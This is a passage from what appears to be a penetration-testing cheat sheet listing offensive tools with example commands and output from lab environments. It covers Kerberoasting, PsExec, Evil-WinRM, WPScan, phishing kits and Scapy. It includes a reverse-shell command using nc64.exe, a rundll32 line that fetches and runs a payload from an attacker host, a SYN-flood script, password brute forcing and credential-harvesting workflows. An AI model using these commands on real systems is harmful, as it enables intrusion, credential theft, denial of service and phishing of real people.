    Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
    
  • Output Example:

    [*] Action: Kerberoasting
    
    [*] NOTICE: AES hashes will be returned for AES-enabled accounts.
    [*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
    
    [*] Searching the current domain for Kerberoastable users
    
    [*] Total kerberoastable users : 2
    
    
    [*] SamAccountName         : SQLService
    [*] DistinguishedName      : CN=SQLService,CN=Users,DC=CONTROLLER,DC=local
    [*] ServicePrincipalName   : CONTROLLER-1/SQLService.CONTROLLER.local:30111
    [*] PwdLastSet             : 5/25/2020 10:28:26 PM
    [*] Supported ETypes       : RC4_HMAC_DEFAULT
    [*] Hash                   : $krb5tgs$23$*SQLService$CONTROLLER.local$CONTROLLER-1/SQLService.CONTROLLER.loca
                               l:30111*$9CEAC4D28E5F22C73262175A7786CAED$07F27F494F52F0CB6CA43246773162C2A753DB
                               34FF08AB7D9547B211138B07E7969628FA5FD65F89B99A2A8449C8CFFD56B8B98903B74F01AF69A5
                               B9F39F0BD3CAC4CB2E310CDF63624CADFD827B112B736E3E42A99AD0568C10FFF482D2411D4F9385
                               B0A1AEF8E189D869854B2F5F24B41034510A4EFA86F38E997687809701A5A6423DE0DC2D19D9F425
                               043FDE54A46E682D95B554D89AEBF7ED450966431CABF74EF81879BBC7D38D6CB8FB82EE6B622400
                               F6F80AD5690E0CB8DBDB6736C2D4FED2F81837109924340373C84AD567D5442D36E4CBA10CD175CC
                               D7B7A9F846AEAE0338E9E7B65312FCEB3D6DCADCFC1E28DAC48FF2A2292E8C3DF9CBE87C66318BD8
                               40B49DC5616123EB4868F799D2B08491FD518ADB19DD5DD2733E1A4378097CB8857D403C3035B0FB
                               CB5C2D945560FD6D681D825FFD2AE413962604769A9EECEBDE899AE4EF6AF685F411C857779F9AC9
                               [...]
    
    
    [*] Action: AS-REP roasting
    
    [*] Target Domain          : controller.local
    [*] Target DC              : 10.10.106.82
    
    [*] Searching path 'LDAP://10.10.106.82/DC=controller,DC=local' for AS-REP roastable users
    [*] SamAccountName         : Admin2
    [*] DistinguishedName      : CN=Admin-2,CN=Users,DC=CONTROLLER,DC=local
    [*] Using domain controller: 10.10.106.82
    [*] Building AS-REQ (w/o preauth) for: 'controller.local\Admin2'
    [+] AS-REQ w/o preauth successful!
    [*] AS-REP hash:
    
        [email protected]:AEA5D810944F4838B91514AD1A79F57E$549ADA96785D
        42B41B8DC1E033E7B8CA300850BACDB0D4860042B9484234DEDB1F2AEE4CF8C825FBCCC44B04E3E1
        D9B482F43735BBA04A0636DDF5A360D7185EA84B7539BAE2D5BEA88ACCD6237100F2417A5E12C824
        D723E78E914BE4D789CEA1719C0F0852B6554D493CB06E2BB9759826A52F5F917EF0814765F96430
        21601A4F54902F8CC53705105787AC2832F505ADE8233AEBB8F1365DCE8EE73310C365415DE68260
        58BA9D8D5844EEF0A7E70987773EE942B109D80468078A3CE37F2321017F776940EF8BB346CE94B1
        6C97C771E1FAB782E3D7DE12F5E42BD505DE0C2B4D818286FC78F5EFB65C51BE0081900C3C71
    
    

15. Certify

  • Use Case: AD CS enumeration & misconfiguration abuse (ESC1–ESC8).

  • Input Example:

    Certify.exe find /vulnerable
    
  • Output Example:

    Vulnerable template found: User Enrollment (ENROLLEE_SUPPLIES_SUBJECT)
    

16. Seatbelt

  • Use Case: Windows situational awareness (privs, AV, creds in files). Github

  • Input Example: Extended Group All Output

    .\Seatbelt.exe -group=User
    
  • Output Example:

    ====== azuread ======
    
      Could not enumerate NetAadJoinInfo
      SeamlessSignOnDomainTrusted : (not configured)
    ====== Certificates ======
    
      StoreLocation      : CurrentUser
      Issuer             : OU=EFS File Encryption Certificate, L=EFS, CN=Administrator
      Subject            : OU=EFS File Encryption Certificate, L=EFS, CN=Administrator
      ValidDate          : 5/25/2020 3:11:37 PM
      ExpiryDate         : 5/1/2120 3:11:37 PM
      HasPrivateKey      : True
      KeyExportable      : False
      Thumbprint         : 425951D040D3E06FBE08F8364239D64B6EAF95E8
      EnhancedKeyUsages  :
         File Recovery
    
    ====== CertificateThumbprints ======
    [...]
    CurrentUser\TrustedPeople - 425951D040D3E06FBE08F8364239D64B6EAF95E8 (Administrator) 5/1/2120 3:11:37 PM
    
    ====== ChromiumPresence ======
    
    ====== CloudCredentials ======
    
    ====== CloudSyncProviders ======
    
    ====== CredEnum ======
    
    ====== dir ======
    
    LastAccess LastWrite  Size      Path
    [...]
    25-10-22   25-10-22   682.5KB   C:\Users\Administrator\Documents\Seatbelt.exe
    25-10-22   25-10-22   3.1KB     C:\Users\Administrator\Documents\seatbelt_output.txt
    
    ====== DpapiMasterKeys ======
    
    Folder : C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-432953485-3795405108-1502158860-500
    
      LastAccessed              LastModified              FileName
      ------------              ------------              --------
      1/3/2021 7:28:18 AM       1/3/2021 7:28:18 AM       59ef089e-15fb-408d-bbdb-675d5d0a9128
      5/25/2020 3:11:37 PM      5/25/2020 3:11:37 PM      5b6373ac-26de-40ad-b718-b28de198c6a1
    
    [*] Use the Mimikatz "dpapi::masterkey" module with appropriate arguments (/pvk or /rpc) to decrypt
    [*] You can also extract many DPAPI masterkeys from memory with the Mimikatz "sekurlsa::dpapi" module
    [*] You can also use SharpDPAPI for masterkey retrieval.
    
    ====== ExplorerMRUs ======
    
    ====== ExplorerRunCommands ======
    
    ====== FileZilla ======
    
    ====== FirefoxPresence ======
    
    ====== IdleTime ======
    
    CurrentUser : CONTROLLER\Administrator
    Idletime    : 01h:06m:07s:125ms (3967125 milliseconds)
    
    ====== IEFavorites ======
    
    Favorites (Administrator):
    
      http://go.microsoft.com/fwlink/p/?LinkId=255142
    
    ====== IETabs ======
    
    ====== IEUrls ======
    
    Internet Explorer typed URLs for the last 7 days
    
    ====== KeePass ======
    
    ====== MappedDrives ======
    
    Mapped Drives (via WMI)
    
    ====== MTPuTTY ======
    
    ====== OfficeMRUs ======
    
    Enumerating Office most recently used files for the last 7 days
    
    App       User                     LastAccess    FileName
    ---       ----                     ----------    --------
    
    ====== OneNote ======
    
      OneNote files (Administrator):
    
    ====== OracleSQLDeveloper ======
    
    ====== PowerShellHistory ======
    
    ====== PuttyHostKeys ======
    
    ====== PuttySessions ======
    
    ====== RDCManFiles ======
    
    ====== RDPSavedConnections ======
    
    ====== SecPackageCreds ======
    
    ====== SlackDownloads ======
    
    ====== SlackPresence ======
    
    ====== SlackWorkspaces ======
    
    ====== SuperPutty ======
    
    ====== TokenGroups ======
    
    Current Token's Groups
    
    CONTROLLER\Domain Users                  S-1-5-21-432953485-3795405108-1502158860-513
    Everyone                                 S-1-1-0
    BUILTIN\Administrators                   S-1-5-32-544
    BUILTIN\Users                            S-1-5-32-545
    BUILTIN\Pre-Windows 2000 Compatible Access S-1-5-32-554
    NT AUTHORITY\NETWORK                     S-1-5-2
    NT AUTHORITY\Authenticated Users         S-1-5-11
    NT AUTHORITY\This Organization           S-1-5-15
    CONTROLLER\Group Policy Creator Owners   S-1-5-21-432953485-3795405108-1502158860-520
    CONTROLLER\Domain Admins                 S-1-5-21-432953485-3795405108-1502158860-512
    CONTROLLER\Enterprise Admins             S-1-5-21-432953485-3795405108-1502158860-519
    CONTROLLER\Schema Admins                 S-1-5-21-432953485-3795405108-1502158860-518
    CONTROLLER\Denied RODC Password Replication Group S-1-5-21-432953485-3795405108-1502158860-572
    NT AUTHORITY\NTLM Authentication         S-1-5-64-10
    
    ====== WindowsCredentialFiles ======
    
    ====== WindowsVault ======
    
    Vault GUID     : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
    Vault Type     : Web Credentials
    Item count     : 0
    
    [*] Completed collection in 1.491 seconds 
    
    

17. PsExec

Ports: 

  • 445/TCP (SMB)

💡Required Group Memberships: Administrators

  • Use Case: Remote command execution via SMB/Service Control Manager. Sysinternals

  • Impacket PsExec.py

  • Input Example:

    psexec.py ACME/jdoe:'P@ssw0rd'@10.10.10.30 cmd.exe /c whoami
    
    # Run process under a local system account with -s
    PsExec64.exe -s cmd.exe
    
    # Perform pass-the-key to get a reverse shell as t1_toby.beck
    sekurlsa::pth /user:t1_toby.beck /domain:za /aes256:6a0d48f79acaec013d928d84a102b72028d574340b6139e876e179db48fbde4e /run:"c:\tools\nc64.exe -e cmd.exe 10.150.74.4 4444"
    
    # From the reverse shell  
    PsExec64.exe \\THMIIS.za.tryhackme.com cmd.exe /c "whoami"
    
    
  • Output Example:

    nt authority\system
    
    PsExec v2.34 - Execute processes remotely
    Copyright (C) 2001-2021 Mark Russinovich
    Sysinternals - www.sysinternals.com
    
    za\t1_toby.beck
    
    Starting cmd.exe on THMIIS.za.tryhackme.com...yhackme.com...
    cmd.exe exited on THMIIS.za.tryhackme.com with error code 0.
    
    c:\tools>
    
    

18. Evil‑WinRM

  • Use Case: WinRM shell for post‑exploitation (PowerShell remoting). Github

  • Input Example:

    evil-winrm -i 10.10.241.34 -u thmuser1 -p Password321
    
    evil-winrm -i 10.10.241.34 -u Administrator -H f3118544a831e728781d780cfdb9c1fa
    
  • Output Example:

    Evil-WinRM shell v3.4
    
    Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
    
    Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion 
    
    Info: Establishing connection to remote endpoint
    
    *Evil-WinRM* PS C:\Users\thmuser1\Documents>
    
    
    # From an Evil-WinRM shell, you can upload executables, e.g. Seatbelt
    *Evil-WinRM* PS C:\Users\Administrator\Documents> upload Seatbelt.exe
    
    

19. LOLbins

  • Use Case: Abuse built‑in Windows binaries to evade detection. LOLBins expanded

  • Input Example:

    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();GetObject("script:https://attacker/payload.sct")
    
  • Output Example:

    (No stdout; payload executed via LOLBin)
    

20. Zed Attack Proxy (ZAP)

  • Use Case: Intercepting proxy, spidering, active/passive scanning.

  • Input Example:

    zap-baseline.py -t https://app.example.com -r zap-report.html
    
  • Output Example:

    Alerts: X-Content-Type-Options missing (Medium), Reflected XSS (High)
    

21. Postman

  • Use Case: (GUI-based) API exploration, auth testing, crafting requests.

  • Input Example:
    Import OpenAPI → Set env vars → Send

    POST /api/login
    with JSON body.

  • Output Example:

    200 OK
    {"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
    

22. Gobuster / DirBuster

  • Use Case: Content discovery (dirs/files/vhosts). Github

  • Input Example:

    gobuster dir -u 10.10.175.232 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    
    # Folder names are case sensitive
    gobuster dir -u 10.10.175.232/Changes -w /usr/share/wordlists/dirb/extensions_common.txt -x js,conf
    
    # Append-domain needed for vhost enumeration to work successfully
    gobuster vhost -u http://webenum.thm -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
    
    gobuster fuzz -u http://webenum.thm -H "Host: FUZZ.webenum.thm" -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
    
  • Output Example:

    ===============================================================
    Gobuster v3.6
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://10.10.175.232
    [+] Method:                  GET
    [+] Threads:                 10
    [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.6
    [+] Timeout:                 10s
    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    /images               (Status: 301) [Size: 315] [--> http://10.10.175.232/images/]
    /public               (Status: 301) [Size: 315] [--> http://10.10.175.232/public/]
    /css                  (Status: 301) [Size: 312] [--> http://10.10.175.232/css/]
    /js                   (Status: 301) [Size: 311] [--> http://10.10.175.232/js/]
    /Changes              (Status: 301) [Size: 316] [--> http://10.10.175.232/Changes/]
    /VIDEO                (Status: 301) [Size: 314] [--> http://10.10.175.232/VIDEO/]
    Progress: 218275 / 218276 (100.00%)
    ===============================================================
    Finished
    ===============================================================
    
    
    Gobuster v3.6
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://10.10.175.232/Changes
    [+] Method:                  GET
    [+] Threads:                 10
    [+] Wordlist:                /usr/share/wordlists/dirb/extensions_common.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.6
    [+] Extensions:              conf,js
    [+] Timeout:                 10s
    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    /.htm                 (Status: 403) [Size: 278]
    /.html.js             (Status: 403) [Size: 278]
    /.html                (Status: 403) [Size: 278]
    /.html.conf           (Status: 403) [Size: 278]
    /.htm.conf            (Status: 403) [Size: 278]
    /.htm.js              (Status: 403) [Size: 278]
    /.php                 (Status: 403) [Size: 278]
    /.phtml               (Status: 403) [Size: 278]
    /                     (Status: 200) [Size: 1365]
    Progress: 87 / 90 (96.67%)
    ===============================================================
    Finished
    ===============================================================
    
    
    ===============================================================
    Starting gobuster in VHOST enumeration mode
    ===============================================================
    Found: learning.webenum.thm Status: 200 [Size: 13245]
    Found: products.webenum.thm Status: 200 [Size: 4941]
    Progress: 4997 / 4998 (99.98%)
    ===============================================================
    Finished
    ===============================================================
    
    

23. Wfuzz

  • Use Case: Web fuzzing/brute forcing parameters. Github

  • Input Example:

    wfuzz -c -z file,/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc 404 http://10.80.176.154/FUZZ/
    
    Common flags:
    
    --hc 404: hide responses with Http status code 404
    --hw 0: hide responses with 0 words
    --hs "Invalid": hide responses with "Invalid"
    -H "Host: FUZZ.target.com": fuzz for virtual hosts    
    
    wfuzz -c -z file,/usr/share/wordlists/usernames.txt -z file,/usr/share/wordlists/passwords.txt -d "username=FUZZ&password=FUZ2Z" --hc 302 http://target.com/login.php
    
    -d:   post data for login form brute-forcing  
    
  • Output Example:

    
      ********************************************************
      * Wfuzz 3.1.0 - The Web Fuzzer                         *
      ********************************************************
    
      Target: http://smol.thm/FUZZ/
      Total requests: 220560
    
      =====================================================================
      ID           Response   Lines    Word       Chars       Payload                                           
      =====================================================================
      [...]          
      000000241:   200        0 L      0 W        0 Ch        "wp-content"
      000000011:   301        0 L      0 W        0 Ch        "# Priority ordered case-sensitive list, where entries were found"                                  
      000000786:   200        283 L    2888 W     59671 Ch    "wp-includes"
      000007180:   302        0 L      0 W        0 Ch        "wp-admin"
      [...]
      Total time: 386.0505
      Processed Requests: 220560
      Filtered Requests: 220540
      Requests/sec.: 571.3241
    
    

24. WPScan

  • Use Case: WordPress enumeration & vuln checks. Github

  • Input Example:

    wpscan --update
    
    wpscan --url http://wpscan.thm --enumerate t
    
    wpscan --url http://wpscan.thm --enumerate p
    
    wpscan --url http://wpscan.thm/wp-login.php -P /usr/share/wordlists/rockyou.txt -U phreakazoid
    
    
    Enumeration Process:
      	  Available Choices:
      	   vp   Vulnerable plugins
      	   ap   All plugins
      	   p    Popular plugins
      	   vt   Vulnerable themes
      	   at   All themes
      	   t    Popular themes
      	   tt   Timthumbs
      	   cb   Config backups
      	   dbe  Db exports
      	   u    User IDs range. e.g: u1-5
      			Range separator to use: '-'
      			Value if no argument supplied: 1-10
      	   m    Media IDs range. e.g m1-15
      			Note: Permalink setting must be set to "Plain" for those to be detected
      			Range separator to use: '-'
      			Value if no argument supplied: 1-100
      	  Separator to use between the values: ','
      	  Default: All Plugins, Config Backups
      	  Value if no argument supplied: vp,vt,tt,cb,dbe,u,m
      	  Incompatible choices (only one of each group/s can be used):
      	   - vp, ap, p
      	   - vt, at, t
    
    
  • Output Example:

    [+] URL: http://wpscan.thm/ [10.10.196.194]
    [+] Started: Sun Nov  9 13:36:06 2025
    
    Interesting Finding(s):
    
    [+] Headers
     | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
     | Found By: Headers (Passive Detection)
     | Confidence: 100%
    
    [...] 
    [+] WordPress readme found: http://wpscan.thm/readme.html
     | Found By: Direct Access (Aggressive Detection)
     | Confidence: 100%
    
    [...]   
    [i] Theme(s) Identified:
    [+] twentynineteen
     | Location: http://wpscan.thm/wp-content/themes/twentynineteen/
     | Last Updated: 2025-04-15T00:00:00.000Z
     | Readme: http://wpscan.thm/wp-content/themes/twentynineteen/readme.txt
     | [!] The version is out of date, the latest version is 3.1
    
    
    
    [...]
    [+] Enumerating Most Popular Plugins (via Passive Methods)
    [+] Checking Plugin Versions (via Passive and Aggressive Methods)
    
    [i] Plugin(s) Identified:
    
    [+] nextcellent-gallery-nextgen-legacy
     | Location: http://wpscan.thm/wp-content/plugins/nextcellent-gallery-nextgen-legacy/
     | Latest Version: 1.9.35 (up to date)
     | Last Updated: 2017-10-16T09:19:00.000Z
     |
     | Found By: Comment (Passive Detection)
     |
     | Version: 3.5.0 (60% confidence)
     | Found By: Comment (Passive Detection)
     |  - http://wpscan.thm/, Match: '<meta name="NextGEN" version="3.5.0"'
    
    [...]
    
    
    
    [...]
    [+] Performing password attack on Wp Login against 1 user/s
    [SUCCESS] - phreakazoid / linkinpark                                                                                                      
    Trying phreakazoid / marlon Time: 00:00:06 <                                                      > (505 / 14344896)  0.00%  ETA: ??:??:??
    
    [!] Valid Combinations Found:
     | Username: phreakazoid, Password: linkinpark
    [...]
    
    

25. Pacu

  • Use Case: AWS exploitation framework (IAM, S3, EC2 attacks).

  • Input Example:

    pacu
    run iam__enum_permissions
    run s3__bucket_finder
    
  • Output Example:

    PrivEsc path found via inline policy...
    Public S3 bucket: acme-logs
    

26. Docker Bench

  • Use Case: Docker host/container security baseline checks.

  • Input Example:

    docker run --net host --pid host --userns host --cap-add audit_control \
      -e DOCKER_CONTENT_TRUST=1 --label docker_bench_security \
      -v /etc:/etc:ro -v /usr/bin/docker-containerd:/usr/bin/docker-containerd:ro \
      -v /var/lib:/var/lib:ro -v /var/run/docker.sock:/var/run/docker.sock:ro \
      docker/docker-bench-security
    
  • Output Example:

    [WARN] 1.1 Ensure a separate partition for /var/lib/docker
    [PASS] 1.2 Ensure only trusted users can control Docker
    

27. Prowler

  • Use Case: AWS CIS benchmark & best‑practice auditing.

  • Input Example:

    prowler -M csv,json -S -q
    
  • Output Example:

    PASS 1.2 Ensure multi-factor auth enabled for root account
    FAIL 2.1 S3 buckets should not allow public read access: acme-logs
    

28. ScoutSuite

  • Use Case: Multi‑cloud posture assessment (AWS/Azure/GCP).

  • Input Example:

    scoutsuite aws --profile pentest
    
  • Output Example:

    Findings: 3 Critical (Public S3, Open SG 0.0.0.0/0, Unrotated keys)
    

29. WPAD

  • Use Case: Proxy auto‑discovery abuse for credential capture/traffic redir.

  • Input Example:

    responder -I eth0 -wF
    
  • Output Example:

    WPAD rogue proxy auth attempt captured - NTLMv2 hash for ACME\jdoe
    

30. WiFi‑Pumpkin

  • Use Case: Evil twin AP/captive portal phishing.

  • Input Example:
    Configure SSID clone → start rogue AP with portal template.

  • Output Example:

    Credential captured: [email protected] password=P@ss123!
    

31. Kismet

  • Use Case: Wireless discovery, packet capture, IDS features, detect hidden networks and rogue APs. Github

  • Input Example:

    sudo kismet --source=wlan0mon:channel=44
    
  • Output Example: Images

    INFO: Including sub-config file: /etc/kismet/kismet_httpd.conf
    INFO: Including sub-config file: /etc/kismet/kismet_memory.conf
    INFO: Including sub-config file: /etc/kismet/kismet_alerts.conf
    INFO: Including sub-config file: /etc/kismet/kismet_80211.conf
    INFO: Including sub-config file: /etc/kismet/kismet_logging.conf
    INFO: Including sub-config file: /etc/kismet/kismet_filter.conf
    INFO: Including sub-config file: /etc/kismet/kismet_uav.conf
    [...]
    KISMET - Point your browser to http://localhost:2501 (or the address of this system) for the KismINFO: Detected new 802.11 Wi-Fi device 1C:F2:9A:28:F1:3E
    INFO: Detected new 802.11 Wi-Fi access point EC:FC:2F:03:2C:A8
    INFO: 802.11 Wi-Fi device EC:FC:2F:03:2C:A8 advertising SSID 
        '[REDACTED]'
    INFO: Detected new 802.11 Wi-Fi device EC:B5:FA:16:DB:5A
    INFO: Detected new 802.11 Wi-Fi device A8:29:48:33:79:E9
    [...]  
    ALERT: BCASTDISCON IEEE80211 Access Point BSSID 70:3A:51:0B:72:3C 
           broadcast deauthentication or disassociation of all clients; Either 
           the AP is shutting down or this is indicative of a possible denial 
           of service attack.
    INFO: Detected new 802.11 Wi-Fi device EE:76:BD:2F:30:13
    INFO: Detected new 802.11 Wi-Fi device 4C:F5:DC:E4:35:D1
    [...]
    
    

32. Social Engineering Toolkit (SET)

  • Use Case: Phishing pages, credential capture, payload delivery (with consent). Github

  • Input Example:

    set  
    
      # SET Command line. Options:
      1) Social-Engineering Attacks
      	1) Spear-Phishing Attack Vectors
      		1) Perform a Mass Email Attack
      			> Choose your payload, choice of 22 (e.g., Adobe PDF, Microsoft Word)
      			> Choose what type of shell you want (e.g., reverse TCP, meterpreter)
      			> Set IP of payload listener: <ENTER> for localhost
      			> Set port to connect back on: <DEFAULT 443>
      			> Rename the filename of the payload
      			> Next, choose either:
      			1) E-mail Attack Single Email Address
      				1) Pre-Defined Template
      				2) One-Time Use Email Template
      					> Enter the subject of the email
      					> Choose HTML or plain text messsage type
      					> Enter the body of the message
      					> Set email recipient
      					> Next, choose to send via
      						!) Gmail account
      						2) Use your own server or open relay
      							> Enter the FROM address
      							> Enter the FROM name
      							> Enter username for open relay: <BLANK> default
      							> Enter the server we are using (e.g., smtp.myserver.com)
      							> Enter port number for the SMTP server
      							> Flag message as high priority Y/N
      							> Set up a listener Y/N: Yes							
      			2) E-mail Attack Mass Mailer
      		2) Create a FileFormat Payload
      		3) Create a Social-Engineering Template
      		99) Return to Main Menu
      	2) Website Attack Vectors
      		1) Java Applet Attack Method
      		2) Metasploit Browser Exploit Method
      		3) Credential Harvester Attack Method
      			1) Web Templates
      			2) Site Cloner
      				> Enter IP address of site (where it will be hosted): <ENTER> for localhost
      				> Enter the URL to clone (e.g., facebook.com)
      				> Go to fake website to confirm it is live
      				> Watch the visits roll in!
      			3) Custom Import
      			99) Return to the Webattack Menu
      		4) Tabnabbing Attack Method
      		5) Web Jacking Attack Method
      		6) Multi-Attack Web Method
      		7) HTA Attack Method
      		99) Return to the Main Menu
      	3) Infectious Media Generator
      	4) Create a Payload and Listener
      	5) Mass Mailer Attack
      	6) Arduino-Based Attack Vector
      	7) Wireless Access Point Attack Vector
      	8) QRCode Generator Attack Vector
      	9) Powershell Attack Vectors
      	10) Third Party Modules
      	99) Return back to the main menu
      2) Penetration Testing (Fast-Track)
      3) Third party modules
      4) Update the Social-Engineer Toolkit
      5) Update SET configuration
      6) Help, Credits, and About
      99) Exit the Social-Engineering Toolkit
    
    
  • Output Example:

    Credential captured: [email protected] : Summer2025!
    

33. Gophish

  • Use Case: Web-based framework for Phishing campaigns with tracking & reporting. Git Repo

  • Input Example:

    
    1. Sending Profiles (SMTP config) →  New Profile
    2. Landing Page → New Page + Capture Submitted data and passwords
    3. Email Templates → New Template
    4. Users & Groups (email recipients) → New Group
    5. Campaigns → New Campaign → Launch Campaign (send to target group) → Track results (Emails sent, opened, and clicked)
    
    
  • Output Example: Images

    Emails Sent: 25 | Opened: 18 | Clicked: 5 | Submitted data: 2 (Option to replay the captured credentials to a URL)
    

34. Evilginx

  • Use Case: Reverse proxy phishing to capture session cookies (MFA‑bypass testing).

  • Input Example:

    evilginx -p phishlets
    phishlets enable microsoft
    lures create microsoft
    
  • Output Example:

    Captured session cookie for user [email protected]
    

35. Browser Exploitation Framework (BeEF)

  • Use Case: Browser hook & client‑side attack delivery. Steal cookies, capture keystrokes, take screenshots and perform network reconnaissance

  • Input Example:
    Serve hook.js → victim loads page → control via BeEF UI.

  • Output Example:

    New hooked browser: 10.10.10.44 (Chrome 118)
    

36. Scapy

  • Use Case: Packet crafting/fuzzing (L2–L7), protocol experiments. Github

  • Input Example:

    # Use the scapy python module to send a SYN packet
    from scapy.all import *
    
    # Create IP layer
    ip_layer = IP()
    ip_layer.dst = "192.168.1.1"
    ip_layer.src = "192.168.1.100"
    
    # Create the TCP layer
    tcp_layer = TCP()
    tcp_layer.dport = 80
    tcp_layer.sport = 12345
    tcp_layer.flags = "S" # SYN flag
    
    # Combine the layers
    packet = ip_layer/tcp_layer
    
    # Send the packet
    send(packet)
    
    # Print packet details
    print(packet.show())
    
    # ARP scan
    from scapy.all import *
    
    # Define the target network
    target_network = '10.211.55.0/24'
    
    # Craft ARP request
    arp_request = ARP(pdst=target_network)
    broadcast = Ether(dst="ff:ff:ff:ff:ff:ff:")
    arp_request_broadcast = broadcast/arp_request
    
    # Send the request and collect answers
    answered_lists = srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    
    # Parse the responses
    for sent, received in answered_list:
      print(f"IP: {received.psrc} - MAC: {received.hwsrc}")
    
    # SYN flood
    from scapy.all import *
    
    # Define the target
    target_ip = '10.211.55.5'
    target_port = 80
    
    # Create a SYN packet
    syn_packet = IP(dst=target_ip)/TCP(dport=target_port, flags="S")
    
    # Send the SYN packets in a loop
    for i in range(1000):
      send(syn_packet, verbose=False)
     
    print("SYN flood attack completed.")
    
  • Output Example:

    .
    Sent 1 packets.
    

37. tcprelay

  • Use Case: iOS USB tunneling to expose services as TCP ports.

  • Input Example:

    tcprelay.py -t 22:2222
    
  • Output Example:

    Forwarding local 2222 -> remote 22
    

38. MobSF (Mobile Security Framework)

  • Use Case: Static/dynamic analysis of Android/iOS apps.

  • Input Example:
    Upload APK → Static analysis.

  • Output Example:

    Hardcoded secrets detected
    Debuggable: True
    Exported Activities: com.example.MainActivity
    

39. Frida

  • Use Case: Dynamic instrumentation/hook mobile and desktop apps.

  • Input Example:

    frida -U -f com.example.app -l bypass_ssl.js --no-pause
    
  • Output Example:

    [*] SSL pinning bypassed
    

40. Drozer

  • Use Case: Android app/IPC security testing.

  • Input Example:

    drozer console connect
    run app.package.list -f example
    
  • Output Example:

    com.example.app
    

41. Android Debug Bridge (ADB)

  • Use Case: Device control, app install, shell access.

  • Input Example:

    adb devices
    adb shell pm list packages | grep example
    
  • Output Example:

    List of devices attached
    emulator-5554 device
    package:com.example.app
    

42. Bluestrike

  • Use Case: Bluetooth assessment (enumeration/attacks) in some lab toolsets.

  • Input Example:

    bluestrike --scan
    
  • Output Example:

    Device: 00:1A:7D:DA:71:13  Name: BT-Speaker  Services: A2DP
    

43. Caldera (MITRE)

  • Use Case: Automated adversary emulation (ATT&CK‑mapped).

  • Input Example:
    Run an operation using the web UI → select agents & abilities.

  • Output Example:

    Operation completed: 14 techniques executed (T1059, T1047, T1105...)
    

44. Infection Monkey

  • Use Case: Self‑propagating assessment of segmentation & controls.

  • Input Example:
    Deploy monkey agent → set constraints → run.

  • Output Example:

    Lateral movement succeeded to 10.10.10.22 via SMB
    Blocked by firewall on 10.10.10.23
    

45. Atomic Red Team

  • Use Case: Small, testable ATT&CK “atoms” to validate detections.

  • Input Example:

    Invoke-AtomicTest T1059 -ShowDetailsBrief
    Invoke-AtomicTest T1059 -PromptForInputArgs
    
  • Output Example:

    Executed: T1059.001 PowerShell
    Result: Completed with exit code 0
    

46. PowerView

Import-Module .\PowerView.ps1
Get-NetUser | Select-Object cn
Get-NetGroup -GroupName *admin*
Invoke-ShareFinder
Get-NetComputer -FullData | Select-Object name, operatingsystem
  • Output Example:

  cn
  --
  Administrator
  Guest
  krbtgt
  Machine-1
  Admin2
  Machine-2
  SQL Service
  POST{P0W3RV13W_FTW}
  sshd


  Administrators 
  Hyper-V Administrators
  Storage Replica Administrators
  Schema Admins
  Enterprise Admins
  Domain Admins
  Key Admins
  Enterprise Key Admins 
  DnsAdmins


  \\Domain-Controller.CONTROLLER.local\ADMIN$     - Remote Admin 
  \\Domain-Controller.CONTROLLER.local\C$         - Default share
  \\Domain-Controller.CONTROLLER.local\IPC$       - Remote IPC
  \\Domain-Controller.CONTROLLER.local\NETLOGON   - Logon server share
  \\Domain-Controller.CONTROLLER.local\Share      -
  \\Domain-Controller.CONTROLLER.local\SYSVOL     - Logon server share



  name            operatingsystem
  ----            ---------------
  DOMAIN-CONTROLL Windows Server 2019 Standard
  DESKTOP-2       Windows 10 Enterprise Evaluation
  DESKTOP-1       Windows 10 Enterprise Evaluation


47. PowerUpSQL

  • Use Case: Find SQL instances & privilege escalation opportunities. Git Repo / Cheat Sheet

  • Input Example:

Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceLocal -Verbose
Invoke-SQLAudit -Verbose -Instance WPERSISTENCE\SQLEXPRESS
  • Output Example:

ComputerName       : WPERSISTENCE
Instance           : WPERSISTENCE\SQLEXPRESS
ServiceDisplayName : SQL Server (SQLEXPRESS)
ServiceName        : MSSQL$SQLEXPRESS
ServicePath        : "C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\Binn\sqlservr.exe" -sSQLEXPRESS
ServiceAccount     : NT Service\MSSQL$SQLEXPRESS
State              : Running

ComputerName  : WPERSISTENCE
Instance      : WPERSISTENCE\SQLEXPRESS
Vulnerability : Excessive Privilege - Execute xp_dirtree
Description   : xp_dirtree is a native extended stored procedure that can be executed by members of the Public role by default in SQL Server 2000-2014. Xp_dirtree can
                be used to force the SQL Server service account to authenticate to a remote attacker.  The service account password hash can then be captured + cracked
                or relayed to gain unauthorized access to systems. This also means xp_dirtree can be used to escalate a lower privileged user to sysadmin when a
                machine or managed account isnt being used.  Thats because the SQL Server service account is a member of the sysadmin role in SQL Server 2000-2014, by
                default.
